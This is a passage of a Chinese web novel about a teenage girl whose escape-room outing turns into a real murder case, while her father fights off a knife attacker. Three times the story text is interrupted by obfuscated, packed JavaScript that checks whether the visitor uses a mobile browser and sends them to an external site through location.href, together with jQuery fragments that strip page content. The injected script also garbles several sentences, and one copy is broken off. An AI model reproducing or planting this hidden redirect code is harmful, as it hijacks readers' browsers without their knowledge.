鱼小丹说着,指指角落的何景澄。小温抬手,手电照在何景澄脸上,他微微眯眼,并没有伸手遮挡。 何景澄的脸色有些差,不知道是因为怕黑还是怕鬼,刚才问完那个问题后他就一直沉默。 小温正要走过去,何景澄开口了:“刚刚广播里说了,我们的第一个任务是‘逃离闹鬼的教室’对吧?” 小温脚步一顿,隐约猜到何景澄要说什么了。 “也就是说,这个教室里是有‘鬼’的。”何景澄微微低头,看着桌腿,他的脸色有点白,“而这个‘鬼’已经出现了。” 小温快步走到何景澄跟前,手电顺着何景澄的目光照去。 桌子地上有一个小女孩模样的NPC,长发凌乱,脸涂得惨白,眼周涂了一圈黑色涂料,一晃眼让人以为那黑洞洞的东西是她的眼睛。 她身材娇小,约莫只有一米四,整个人蜷缩在课桌底下,一只手拽着何景澄的裤腿。 她看到小温时,殷红的嘴巴咧出一个大大的笑,不知道是不是妆容的问题,小温总觉得她的嘴角咧到了耳后。 “嘻嘻嘻!嘻嘻嘻——” 22. 十三中怪谈(二) 诡异的笑声让在场六个人都汗毛炸开,小温不怕鬼,但还是被这NPC吓得手抖了两下,手电的光晃了晃。 “呜哇!” 姐姐被吓得不轻,总觉得自己桌子底下也有个“鬼”,连忙把脚抬起来,两只手抱着膝盖,整个人蜷缩在椅子上,脸埋在膝盖里。 弟弟走到姐姐身边默默守着,相比之下鱼小丹和金凤零就显得淡定得过分了。 可能是因为看不见NPC的脸,也可能是因为本身就不害怕。 她们两人动不了,只能坐在座位上四处张望或是检查桌子上有没有线索。 小温打了个寒战,她这下知道何景澄为什么脸色不好了,有个“鬼”一直拽他裤腿,小温不觉得可怕,就是觉得怪渗人的。 “嘻嘻嘻!嘻嘻嘻——” NPC的笑声还在持续,她被发现了也不动,就蹲在桌子底下笑,笑得人心里毛毛的。 何景澄的脸色依旧不太好,但还是出声提醒小温:“我们的任务是离开教室。” 小温了然,把纸条递给何景澄,在NPC诡异的笑声中,两人借着对讲机的光一同阅读纸条上的内容。 何景澄看得很快,略一思索后,他对着姐姐说:“桌子上的字是干扰项,不用管,可以走动的人负责在教室里寻找线索。” 何景澄垂眸看着桌底下的NPC:“按照纸条上的说法,我暂时还不能行动。” 小温不知道何景澄怎么判断纸条里的内容哪些是对的哪些的错的,她也懒得想,听就是了。 在何景澄下达指令时,桌子底下的NPC笑累了,发现两人完全无视了她,也不笑了,就板着脸蹲在地上。 看起来这个NPC在他们离开教室之前都不会离开了,真辛苦啊。 那对姐弟开始在自己座位上翻找,希望找到一些有用的信息,小温和何景澄对视一眼,点了下头。 随后何景澄就见小温蹲下身,和桌底下的NPC平视,真诚发问:“我们要怎么出去啊?” NPC:“……” 何景澄:“……” 何景澄本是想让小温解开金凤零和鱼小丹的手铐,他以为小温点头是理解了,没想到是理解错了。 “噗……” 小温听见一声按耐不住的笑声,她蹲在地上抬头,就见何景澄笑弯了眼。 “哈哈哈!”何景澄笑得开怀,觉得小温哪哪都可爱得不行,怎么会有人直接问啊。 小温有点不好意思,但能让别人开心是好事,她做了件好事。 鱼小丹捧腹大笑:“哈哈哈哈哈!照照妹妹你怎么这么可爱哈哈哈哈!” 那对姐弟听见鱼小丹笑,没忍住,噗嗤一声,在这样诡异的环境中笑出了声。 连金凤零都有些忍不住,别过头去轻笑。 小温的关注点却在鱼小丹对她的称呼上:“照……照照妹妹?” 奇怪的称呼,还是头一次有人这么叫她。 姐弟俩笑完,开始搜查线索了。姐姐还是有些怕,她把手放在胸口上,深深呼吸了好几下,终于鼓起勇气摸索。 弟弟一直保持不远不近的距离陪着姐姐,在何景澄继续思考纸条上的内容时,姐弟俩几乎同时发现了线索。 “这里有一份旧报纸!”姐姐有些惊喜地从桌肚里翻出一份旧报纸。 “这里的墙壁上有字。”弟弟指着讲台右侧的墙壁,借着安全通道标识牌的绿光,他隐约看到白色的墙壁上有红色的字。 小温还没放弃,又问了一遍桌子底下的NPC:“真的不能告诉我怎么出去吗?” 意料之内,NPC瞪着圆溜溜的眼睛看她,没吭声,小温没辙了,悻悻离开。 她先走到弟弟身边,拿着手电往墙上一照,墙上写了两行字,上下两行字的意思相反。 “钥匙在东边的柜子里……钥匙在西边的柜子里。” 小温念出那两行意思相悖的字,她拿着手电四下一照,教室四个角落各有一个柜子,应该是对应的东西南北。 小温头疼,她讨厌这些弯弯绕绕的东西:“这哪知道哪是东哪是西啊,全打开看看得了。” “既然墙上的字都这样提醒了,就说明我们大概率只有一次打开柜子的机会,选错可能会有惩罚。”何景澄说着,对着桌子底下的NPC微微一笑,“我猜对了吗?” NPC被何景澄的笑容搞得鸡皮疙瘩都起来了,总觉得俩人身份互换了,何景澄才是扮鬼的人。 小温点头:“好像也是。” 小温接着走到姐姐身边,简单翻了下报纸,看不出什么名堂,更气了,撇着嘴把报纸拿去给何景澄看。 何景澄仔细看完旧报纸,这是一张上个世纪的地方报纸,内容涉及很多领域,其中一个模块报道了一位中学男教师获取专利的新闻。 看完新闻后,何景澄又翻来覆去把那份报纸检查一遍,找到了一些标记。 对讲机不能交给除了队长以外的人,因此小温一直站在他身边举手电。 不一会,何景澄看完了,放下旧报纸,说:“钥匙在讲台的小盒子里,密码是7629。” 小温配合地把手电转向讲台,讲台上正在摸墙的弟弟转身,看到了桌上的小盒子。 借着手电的光,弟弟把盒子上的数字调到7629,“咔哒”一声,盒子打开了,里边果然是两把钥匙。 “嘻嘻嘻!嘻嘻嘻——” 盒子打开的那一瞬间,桌子底下的NPC再次发出诡异的笑声,姐姐被吓得猛缩脖子,何景澄感觉拽着他裤腿的手松开了,NPC从地板的暗道离开了。 看来NPC的主要目的是牵制一个玩家,制造恐怖气氛,进入逃生环节后,她就会离开。 广播发出嘶嘶的电流声,随后是工作人员的声音,是先前蒙眼时,负责介绍故事背景的女工作人员。 女工作人员的声音依旧轻柔和缓,她说:“逃离闹鬼的教室,限时三分钟。” 话音结束,广播里传来钟表的滴答声,计时开始了。 小温当机立断,只有她有光源,她需要立即打开手铐。 小温拿着钥匙冲到鱼小丹身边,鱼小丹弯腰把手铐的锁孔亮出来,小温随便抓了一把插进去。 她完全是随便拿的,根本没时间分辨,顺时针一拧,手铐“咔哒”一声打开了。 很幸运, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364367|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次小温赌对了。 随后是金凤零的手铐,小温一插一拧,动作很快,没有慌乱。 在小温开锁期间,何景澄开启教室门,指挥众人有序逃离。 最后一个手铐解开的瞬间,教室另一侧的门猛地开启,一个披着白布的NPC撞进来,飘着向小温他们追来。 这个NPC看起来像是脚上装了滑轮,完全是飘着走的,他走得不快,相当于小温小跑时的速度。 广播里钟表的滴答声还在响,姐姐的位置刚好看不到NPC,在她看见之前,鱼小丹立即拽着她离开。 小温和金凤零紧随其后,弟弟打头阵,何景澄垫后,六人有序逃离闹鬼的教室。 教室门外是一条长长的走廊,NPC飘着追他们,追了好一段路,直到他们跑到走廊尽头才终于停下。 “呼……总算走了。” 小温长舒口气,刚一放松就感觉有一只手抓住了她,她被吓了一跳,举着手电回头一照,发现是姐姐。 姐姐伸手遮住眼睛,小温赶忙把手电关掉。 “抱歉,我吓到你了吗?”姐姐有些愧疚地收回手。 “确实有点,没关系,我胆子大。”小温主动伸手,牢牢握住姐姐的手。 两个女孩的手差不多大,姐姐的体温比小温低一些,黑暗的走廊里,勇气在通过两人交握的手传递给姐姐。 “这间教室好像就是男教师上吊的教室。”何景澄看着教室的门牌说道。 小温能感觉到姐姐的身体颤了颤,但她没有出声。 金凤零满不在意地打开教室门,既然NPC要把他们逼到这个角落,就说明下一个任务地点在这间教室。 绿色的老旧木门吱呀一声,缓缓开启,这间教室和先前闹鬼的教室陈设一样,比普通教室小很多,只有几张桌椅。 教室没有开灯,依旧是只有安全通道的标识在散发着绿色的光芒,唯有一处和先前的教室不同——教室正中央吊扇上悬挂着尸体。 金凤零和鱼小丹率先走进教室,其余站在门口的人也都看见了那具尸体,小温感觉到握着自己的手收紧了,姐姐也看到了那具尸体。 “没关系的,道具而已。”小温低声安慰姐姐,她牵着姐姐的手走进教室。 悬挂在吊扇上的道具尸体做得逼真,离近了可以看出来是具男尸,身上衣服鞋子很完整。 其余几人纷纷走进教室,各自展开调查,只有何景澄还站在门口,不知道在想些什么。 小温带着姐姐走向教室中央的大吊扇底下,开玩笑一般推了一把悬挂的道具男尸。 “你看,只是道具而已,不会动,还没有会追人的NPC……” 小温话还没说完,大吊扇上的男尸被推得摇晃了两下,“哐当”一声响,不堪重负的吊扇和悬挂着的男尸一同坠地。 小温愣愣回头,看着坠落的吊扇和尸体,缓缓补上刚刚没说完的话:“……可怕?” 怎么回事?难道是她太用力了?怎么办?该不会要赔钱吧? 小温脑子里胡乱想着,就在这时,一直站在门口没有进来的何景澄开口了。 “这好像……不是道具……” 23. 吊扇上的尸体 “啊?你……你说什么?”姐姐的声音都在打颤,险些要两眼一翻晕过去。 何景澄的话如同一个惊雷,在六人中炸开,本以为只是道具的尸体,其实是货真价实的尸体。 小温不可置信地打开手电,姐姐根本不敢看,她握着小温的手一直在颤抖。 小温的心脏跳得很快,她看见了,她认出来了。 手电光顺着黑色球鞋一寸寸往上,黑色运动长裤,灰色圆领T恤,脖颈上缠绕着棕色麻绳,一张脸死白死白。 那是老温案报案当天,跟随方承平一起到溶洞口搜查线索的小刑警——丁文文。 小温听说他是举报方承平的人,多亏了他,老温的案子才能转交上级公安局,得到最严格的调查。 小温一直没有机会和这位小刑警好好道谢,感谢他站出来举报方承平,感谢他依然有一名刑警的良知。 她还没来得及道谢,丁文文就死了。 他的尸体被悬挂在小温他们游玩的密室里。 这不是一般的命案,小温的拳头捏紧,指甲掐进肉里。 这是挑衅。 赤|裸裸的挑衅。 听到有尸体,金凤零和鱼小丹脸色一变,立即切换工作状态,快步上前查看尸体。 借着手电光,她们同样看清了尸体的脸。 死者是丁文文。 她们的同事。 金凤零神色一凛,原先的猜测被进一步证实,老温案很大概率出自“那些人”之手。 “*的!被挑衅了!”鱼小丹难得动怒,她一拳砸在地板上,力道很大,发出沉闷的响声。 “联系工作人员,这里有命案。”金凤零言简意赅。 何景澄眉头紧锁,从打开教室门的那一刻,他就隐约感到一丝异样。 他的直觉向来很准,在看见尸体的那一刻,他的直觉告诉他,那不是道具。 金凤零下达指令时,何景澄的直觉有一次告诉他,不能掺和这件事。 不要思考。 不要探究。 不要调查。 鱼小丹四下观察,找到了墙壁上的摄像头,她对着摄像头做了个停止的手势。 小温把对讲机交给金凤零,金凤零对着对讲机另一头的工作人员说:“我是沛霖市公安局金凤零,密室内发现一具男尸,请立刻打开密室的照明系统,封锁大楼,配合警方调查。” 小温的心有些乱,她才经历过一起谋杀未遂案,家里隔壁小孩的事也还没解决,待办事项可以列一长条的单子。 想要放松一下心情好应对接下来的麻烦事,结果又碰到命案了。 小温沉思,自己是不是过于倒霉了,常人一辈子遇不到命案,而她就算除去老温的案子,短时间内也至少会遇到两起。 一起是眼前的命案,一起是未来好友的命案,第二起还是连环杀人案。 密室内的白炽灯被悉数开启,刺目的灯光让小温微微眯眼,一个微胖的中年男人慌慌张张推门而入。 中年男人一看,地上是断了一根扇叶的大电扇,吊扇上绑着绳子,绳子另一端系着一具尸体。 他眼前一黑,看到了高额的赔款和日渐稀少的游客,整个人都要晕过去了。 教室的吊扇是很经典的绿色三叶大吊扇,扇叶上系着粗麻绳,每个扇叶上都系着一条,总共三条。 丁文文穿着普通的运动服,脖颈有明显勒痕,此外无明显外伤。 三条粗麻绳打了个死结,绑在丁文文的脖子上,尸体皮肤惨白,看起来已经死去有一段时间了。 人在濒死时会剧烈挣扎,丁文文脖子上的淤青很浅,很明显,丁文文是死后被悬挂在吊扇上的。 密室的吊扇为了悬挂道具,安装的时候特意加固了,但是一个成年男性的重量显然还是超出了吊扇的承重范围。 在小温他们进来之前,吊扇应该就已经到达了承重的临界点,小温推的那一下成了压死骆驼的最后一根稻草,吊扇不堪重负地砸下来。 “警警警官小姐!这人我们都不认识啊!这也不是我们的客人啊!和我们无关啊!”中年男人似乎是密室的老板,一看这场面险些给跪了。 “警官小姐,咱们可以查得低调一点吗?这人肯定不是在我们密室里死的啊,不能让人传谣败坏我们店的名声啊!” 中年男人身后跟着一位女工作人员,正是一开始在门口招待小温他们的那位小姐姐。 小姐姐也跟着附和:“警官小姐,我今天一天都在前台招待客人,我很确定我没有见过这个人,他不是我们的客人!” 话音刚落,小姐姐身后的门里又走出几个慌里慌张的工作人员。 小温在那些人里看到了先前蹲在桌子底下的NPC,那是一个身材娇小的年轻女人,看着像是在校大学生或是刚刚毕业的大学生。 时间匆忙,NPC们都没来得及卸妆,明亮的灯光下,小温看清了她的妆容。 真的很夸张,惨白的脸,黑黝黝的眼圈,鲜红的嘴巴,视觉冲击感很强。 金凤零原本蹲在地上检查尸体,此时听了二人的辩解,缓缓起身。她的眼睛微眯,眼珠子转动,斜眼睨这俩人。 金凤零:“你们的意思是,死者不是你们的客人,和你们无关?” 密室老板猛点头,在看到金凤零冷厉的眼神后又猛摇头。 金凤零:“和你们密室无关,那尸体是怎么挂在密室内的?为什么在开始之前没有人发现异样?你们又是怎么检查密室内的道具的?为什么会出现这么严重的事故?” 二人被问得哑口无言,张着嘴半天说不出话。 金凤零说话时,鱼小丹负责在工作人员的指引下,把小温这群未成年的孩子带离现场。 鱼小丹走在最前头,领着四个孩子,小温牵着姐姐的手跟在后边,最后是弟弟和何景澄。 四个孩子一个大人全都沉默着。 小温能感觉到姐姐很害怕,先前还能自我安慰只是假的,现在真的出现了命案,小温也不知道该怎么安慰了。 别说安慰别人,她自己都感到背脊发寒,黑暗中好像蛰伏着什么猛兽,正在窥视着她。 丁文文的死和老温的案子有关系吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364368|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老温到底无意间卷进了多大的案子? 她真的……成功保护老温了吗? 种种疑问让小温忍不住开口询问:“丹丹姐……” 一开口又不知道该如何问起,小温停下脚步,低垂脑袋。 一双带着薄茧的手捧起小温的脸,她看到了鱼小丹咧开的嘴角。 “案子有我们大人查,坏人也由我们大人追,放心吧,小大人,我们会保护你们的。” …… 监控室内,金凤零又开了一根棒棒糖,她在思考的时候嘴里总要有点东西。 他们所在的那间密室的监控被删除了一段,金凤零已经叫信息科的人来恢复数据了。 信息科的同事来得很快,一来就和金凤零抱怨:“金队,你最近遇到大案子的频率是不是有点高啊?” 金凤零舌头一转,棒棒糖转到了口腔的另一侧。 金凤零:“这次可是鱼小丹拉我来的。” 鱼小丹刚拿了一沓资料回来,就听见金凤零在甩锅给她,有些幽怨:“老大,这可不能赖我啊!” 鱼小丹比谁都不想遇见命案,她不是金凤零这个工作狂,放假了还会惦记着案子,她是真心想要痛痛快快玩一场。 游玩计划被打断,再次被迫加班,鱼小丹现在比谁都幽怨。 “呜呜呜,为什么我出来玩还要遇到案子啊……”鱼小丹把资料放在桌上,蔫了吧啦的,像棵缺水的向日葵。 信息科的同事往键盘上重重一敲:“好了!数据恢复了!” 金凤零拍了一把鱼小丹的背:“行了行了,赶紧干活,早点结束。” 金凤零原本对监控内容并不报多少希望,按照“那些人”的习惯,他们不会留下明显痕迹,她也只是例行查看。 信息科的同事点开小温他们进密室之前的监控,密室的监控系统很完善,画面很清晰,可以看见工作人员在收拾场地。 他们搬了把椅子,用粗麻绳把一个道具人偶绑在吊扇上,一切井然有序,毫无问题。 等到工作人员离开教室,约莫过了五分钟时间,一个戴着棒球帽的男人从员工通道走进密室,金凤零原本摊在椅子上,在看见这个男人时“腾”地一下坐直了。 男人的手上拖着一个黑色裹尸袋,走进教室时还抬头朝监控方向看了一眼,这种蔑视法律的狂妄感,毫无疑问,这就是把尸体挂在吊扇上的人。 密室内没有开灯,男人自己打了手电,他手脚麻利地解开裹尸袋,把尸体绑起来挂上吊扇,一系列动作行云流水。 金凤零的眉头越皱越紧,密室的监控是专门的,拍黑暗的环境比普通监控清晰,因此金凤零能看清男人的发色,比普通人发色浅,好像…… “染发?还是外国人?”鱼小丹显然也注意到了,监控不能看清男人具体是什么颜色的头发,只能看出来颜色很浅。 “等等,外国人?”金凤零想起了什么,掏出手机打开群聊,往上翻了翻,翻到了老温发的一张合照。 合照上是老温和一个金发碧眼的外国男人。 “老温有危险!” 24. 凶手 咖啡厅内,老温刚赢一盘五子棋。 他这人奇怪,别人来咖啡厅喝咖啡享受精致生活的,他来当公园里下棋的大爷。 老温点了咖啡后,不知从哪掏出盘五子棋,一通吆喝,把咖啡厅当村口的大榕树,招呼了三两个人一同玩五子棋。 店员不悦,但老温也点了咖啡,是店里的客人,不能随便轰走,只能由着他乱来。 “唉!这步走差了!” 对面一个老大爷一声哀叹,老温笑嘻嘻地伸手讨钱。 老大爷也是带孙子出来玩的,路过时瞅见老温这边围在一起下棋,兴致来了,想大展身手。 可惜老温其他棋都不会,就精通五子棋,轻轻松松取胜。老大爷输了棋,磨磨蹭蹭从兜里翻出几张一角五毛,拍在老温手心。 老温乐呵呵地收下,原本就是图个意思,也没嫌少。 接过纸币时,店门口的铃铛叮铃铃响了,年轻漂亮的店员小姐热情地招呼:“您好!欢迎光临!请问喝点什么?” 老温把纸币揣进兜里,抽空回头看了眼,就见一个金发碧眼的外国男人推门走入店中。 “哟,大卫,回来了?”老温挥挥手,和男人打招呼,“要来一盘吗?试试你学得怎样了。” “老温,人家听不懂中文啦。”有人提醒老温。 “对哦!”老温反应过来了,正打算用英文再解释一遍,就看见大卫直直朝他走来。 大卫走得急,脚步生风,老温这才注意到大卫戴了一顶棒球帽。 出去上厕所需要专门买一顶帽子戴上吗?难道是因为外面的太阳很晒? 不知为何,老温总觉得奇怪,得知自己差点被害死后,他一直很警觉。 大卫的手揣兜里,老温紧盯着大卫的手。 虽然先前安慰大温时一副置死生于度外的样子,但人都是怕死的,特别是他还有深爱着的家人,他不能死在家人之前。 大卫出刀很快,好在老温的反应更快。寒光一现,老温闪身一避,一记手刀劈向大卫小臂,把刀打飞。 随后他单手向后撑在桌面上,找了个支点,一脚横踢在大卫腹部。 老温那一脚一点力道也没收着,大卫被踢飞,“轰”一声撞在后排的餐桌上,闷哼一声。 附近几桌的客人一声惊呼,纷纷起身闪避,玻璃杯噼里啪啦摔在地上,人群有小骚动。 大卫手捂在腹部,微微弯腰,他的后腰磕在桌沿,痛得露出痛苦的表情。 老温微微一愣,大卫这身手,是不是有点太弱了?杀他的人会派这么弱的人来杀他吗? 何祎庵原本在咖啡厅外打电话,与公司同事交流公务,听到店内的响动,跑到门口一看,就见老温一脚把地上的刀踹开。 大卫弯着腰,一手撑在桌面上,老温上前一把揪住大卫的衣领,把人提起来,照着脸就是一拳,完全看不出先前二人谈笑甚欢的样子。 四周的客人被吓得惊呼,有店员喊着“别打了别打了!”,从柜台后跑出来。 但这一切发生得都太快了,店员也没来得及阻止,老温下那一拳没个缓冲,结结实实打在大卫脸上,大卫脸一歪,牙飞了一颗。 飞走的那颗牙撞在咖啡店的柜台,一声清脆响声后,被弹回光滑的大理石地板上。那颗牙在地板上滑行一段距离,最终停在门口的何祎庵脚边。 何祎庵的电话还没挂,有些愣神,电话另一头说了什么,应该是在问他怎么了,何祎庵有些抱歉地对电话另一头说道:“抱歉,我这边有点事,等会再谈。” 何祎庵捡起地上的刀,虽然搞不懂发生了什么,但不能让大卫拿到刀。 老温抓着大卫的胳膊,“咔咔”两下把大卫的手掰脱臼了,大卫一声惨叫,老温押着他不给动。 “抱歉啊这位外国朋友,我上有老下有小,可不能随随便便被你杀了。”老温一改方才揍人时的狠厉,变回了平时嬉皮笑脸的模样。 跑来劝架的店员看他们不打了,稍稍松了口气,劝慰道:“有话好好说!好好说!我们已经报警了!” 打架闹事对店里的声誉有影响,店长也不想事情闹大了,能把情况控制在普通打架斗殴最好。 何祎庵悄悄和店员沟通,主动提出补偿店里的损失。随后他给金凤零打电话,刚想说这边的事,金凤零率先开口了。 金凤零声音有些急:“姐夫,老温人和你一块吗?” 何祎庵看了眼押着大卫的老温:“嗯,有个名叫大卫的外国人持刀行凶,已经被温君制服了。” 电话那头的金凤零微微松了口气,她好像正快步下楼,呼吸有些急。 金凤零:“发一下定位,我们正在赶过去,马上就到。” 何祎庵发送定位,回头就见老温踢了一脚大卫,力道不大,但很像个收保护费的混混。 咖啡厅里的客人被店员指挥着,退到店门外。有些人不想掺和这事,径直离开了,有些人看热闹不嫌事大,站在门外围观。 更有好事者拿出手机录像,想发给家人朋友或是挂在网上。 “我*,真刀子啊,什么仇什么怨啊这是?” “怪吓人的。” “打得够狠啊,都见血了。” 老温也只是态度和缓了那么一两分钟,下一刻,他又揪着大卫的领子,脸上是少见的冷厉,深棕色的眼睛里翻涌着怒意。 “我现在有一点生气,所以你最好如实回答哦。” 大卫的两只手被老温押在身后,他居高临下看着大卫,他语气平静,甚至有些温和,表情却令人不寒而栗。 “谁让你来的?为什么盯上我?” 大卫没有说话,双手脱臼让他痛得说不出话。 “你应该听得懂中文的吧?不需要我再翻译一遍了吧?”老温用了点劲,拧得大卫骨头咔咔作响,“说,你到底是什么人?” 大卫还没回答,老温的电话就响了,他单手从裤兜里摸出手机,看了一眼来电显示,紧锁的眉头一下舒展开。 原本晦暗不明的眸子好像被那个名字重新点亮了,他好像看见了世界上最珍贵的宝物,摸到了心里最柔软的存在。 “喂?” 老温接通电话,另一边传来少女有些担忧的声音:“老温,你有……遇到什么事吗?” 老温也没隐瞒,如实回答:“有,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364369|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着刀子想冲上来给我一刀。” “什么?!”电话另一头小温的音量一下子拔高了,“你有没有事?受伤了吗?坏人抓住了吗?” 老温乐了半天才回答:“能有什么事?你的老父亲也不是吃素的。” 小温还是不放心:“你在哪里?!我要过去找你!” 老温抬眼看墙壁上粉嫩软萌的猫爪子,说道:“离欢乐谷大门最近的咖啡厅,好像叫什么……奶猫咖啡厅?” “我马上来!” 说着,小温挂断电话。老温脸上还挂着淡淡的笑意,现在看大卫心情都没那么糟了。 金凤零比小温到得早些,鱼小丹留在密室调查取证,金凤零带了其他同事一起出警。 金凤零推门,亮出自己的证件:“警察,请配合调查!” “好了好了!都散开!不要拍照更不要录像,把你们手机里的照片和视频删除!不允许将现场照片发到网上!” 金凤零的同事负责疏散群众,维持现场秩序,金凤零给大卫铐上手铐,把人押走。 金凤零看着缺了颗牙的大卫和完好无损的老温,一时间有点愕然:“你下手这么狠?” 老温还在可惜,没能亲口从大卫嘴巴里问出点什么,听了金凤零的话一扬下巴,有些神气。 “哼哼!我上学时为了赚学费可是打过黑拳的,虽然已经很久不打了,人也不年轻了,但收拾一个普通外国佬还是绰绰有余。” “咳咳!”一直在旁边听着的何祎庵忍不住出声提醒。 老温这才想起来,打黑拳是违法的,而金凤零恰好是位尽职尽责的刑警,自己这是自首呢。 老温捂住嘴,快速眨了几下眼睛:“我刚刚什么也没说。” “下不为例。”金凤零也配合地睁一只眼闭一只眼。 她现在知道小温那直率又有些小骄傲的性格是遗传自谁了,这父女俩真的很像。 大卫被警方押走了,原本老温也应该跟着走的,老温看了眼墙上的挂钟,距离小温挂电话已经过去了十来分钟,她应该也快到了。 老温摆摆手道:“能让我在这等一下我女儿吗?” 金凤零看了他一眼:“行,尽快。” 金凤零还要忙着查案,让留在咖啡厅里取证的同事负责守着老温。 金凤零刚走没多久,咖啡厅门口出现了一个高马尾的高挑身影,身后还跟着一个小男生。 “老温——”小温一把推开咖啡厅的玻璃门,冲过来抱住老温。 “哎——”老温笑嘻嘻地接住小温。 小温抱紧了老温,体温、心跳、还有呼吸,这些该有的都还在,老温还在,她的父亲还在。 何景澄也看见了何祎庵,店员清算完店内的损失,拿了一份账单给何祎庵。 何祎庵悄悄把钱付了,没有打扰老温和小温的团聚。何景澄走到何祎庵身边,何祎庵对着何景澄略一点头,父子俩都没有过多交流。 先前鱼小丹把小温他们带出密室后,找了一间房间安置他们,随后她就去忙案子的事了。 他们四个孩子在房间里有些焦虑地端坐着,何景澄在梳理现在已知的线索。 25. 牵手 一开始是“悼亡诗系列连环杀人案”,六位毫无共同点的死者,一张留在现场的,写着不同诗歌的硬纸卡将六起案件串联, 这是何景澄了解到的,第一个有关那个神秘组织的案子。 金凤零从未和何景澄提过那个组织的事,包括他母亲在内的所有人,都不希望何景澄接触命案,尤其是关于那个组织的。 何景澄是自己根据一些碎片化的线索推断出来的。 他知道金凤零一直在追查这个案子,也知道这个案子背后的真相十分危险。 很危险,也很……迷人。 是的,迷人。 未知永远是最迷人的,未知的真相更是如此。 何景澄一面感到恐惧,一面感到兴奋。就像站在火山口等待火山喷发,既恐惧被滚烫的岩浆吞没,又对即将看到的壮丽景象感到兴奋。 想要思考。 想要探究。 想要调查。 想要……想要…… “何景澄?” 少女清亮的声音从身侧传来,何景澄从狂热中清醒,头顶上的空调徐徐吹着冷风,吹得他清醒了些,他侧头看见小温疑惑的脸。 小温歪头看着何景澄,从进入这间房间开始,何景澄就一直在发呆。 不,可能还要更早一些,从看见丁文文的尸体起,何景澄就一直心不在焉。 难道是被尸体吓到了? 这是一间摆着旧沙发的会客室,小温坐在中间,左边是姐姐,右边是何景澄,弟弟自己坐在另一边沙发上。 小温为了安慰姐姐,一直牵着她的手。 拥抱和握手都可以传递情绪,小温想通过握手把一点勇气分给姐姐,也想分给何景澄,所以她也握住了何景澄的手。 少女布满薄茧的手握住了少年的手,她的手温暖且有力,皮肤之下,血管有力地鼓动。 何景澄原本还有些恍惚,现在完全醒了。 他感受到了少女温热的掌心,看到了少女眼中明晃晃的关心。 “虽然我也有点后怕,但是没关系,相信凤零姐和丹丹姐。” 小温说着,十指相扣,握紧何景澄的手。 何景澄微微愣神,心跳很吵,小温太过坦荡,反倒显得他像小人。 “嗯……”何景澄别过头,脸烧红了。 他们就这样并排坐了许久,直到听见门外传来骚动声,小温心下一紧,松开手打开房门。 小温看见身穿制服的警察跑下楼,金凤零也在其中,他们脚步匆匆,金凤零还在打电话。 金凤零跑得太快了,小温也没听清她说了什么,只是很敏锐地听见“老温”两个字。 小温心下一紧,老温?老温出什么事了吗? 担忧与恐惧再一次攀上心头,她不由得再一次质问自己——我真的成功保护老温了吗? “温同学,”身后传来何景澄平静温和的声音,“打个电话给你父亲吧。” 何景澄的声音一下子把她唤醒,她回头,发现那对姐弟有些担忧地看着她。 小温刚刚可能不小心把担忧和恐惧表现出来了,她的同伴们都很担心她。 “对了,电话!”小温握拳抬手,在掌心轻轻一敲,从随身带着的小挎包里掏出手机,拨通了老温的号码。 响铃后没多久,电话就被接通了,小温有点担忧地问:“老温,你有……遇到什么事吗?” 随后老温如实告知她咖啡店的事情,小温一惊,挂了电话就往外冲。 何景澄也紧随其后,他有些不放心。 突然就只剩下那对姐弟两个人了,两人互相看了眼,姐姐问弟弟:“那个女孩,好像是叫温流照?” “应该是这三个字。” “也不知道以后还能不能遇见,她人真好啊。” …… 小温抱会儿就松开了,她上上下下检查老温,伸手转老温,老温很配合地转圈,转了一圈后,小温确认了,老温真的没事。 太好了。 随后,小温四人再次前往警局做笔录。 对小温和老温来说是“再”,对何祎庵和何景澄来说,还是头一次。 沛霖市公安局比乐宁县公安局大了不止一星半点,局内各类设施也更为齐全,更加先进。 小温进公安局已经跟回家一样自然了,也没几个十五岁的孩子会这么频繁进公安局。 小温自我安慰道,起码这个经历够离奇,都可以写一本小说了。 录完笔录走出公安局时,已是下午六点,大温上线,依旧是熟悉的头疼。 这次信息量有点大,大温蹙眉缓了好一会才缓过来。 她微闭眼,半晌,猛地睁开。 如果命运有脖子,大温此刻会一把抓住它的脖子,提溜着问它:什么叫我刚救下的老爸差点又被人杀了? 可惜命运没脖子,有脖子的幕后真凶现在还抓不着。 对,大温并不觉得那个叫大卫的外国佬是幕后真凶,他应该只是一把刀,持刀者还躲在暗处不知所踪。 大温重新梳理自己的记忆。 大温世界里,大温一共遇见了四件对她影响至深的事。 其一,花奶奶摔下楼梯身亡。 现在尚且无法确定真凶是不是邻居小孩,此事有待进一步调查。 花奶奶的葬礼是大温参加的第一个葬礼,她的死让大温知道,人的生命如彩虹泡泡,美丽又易碎。 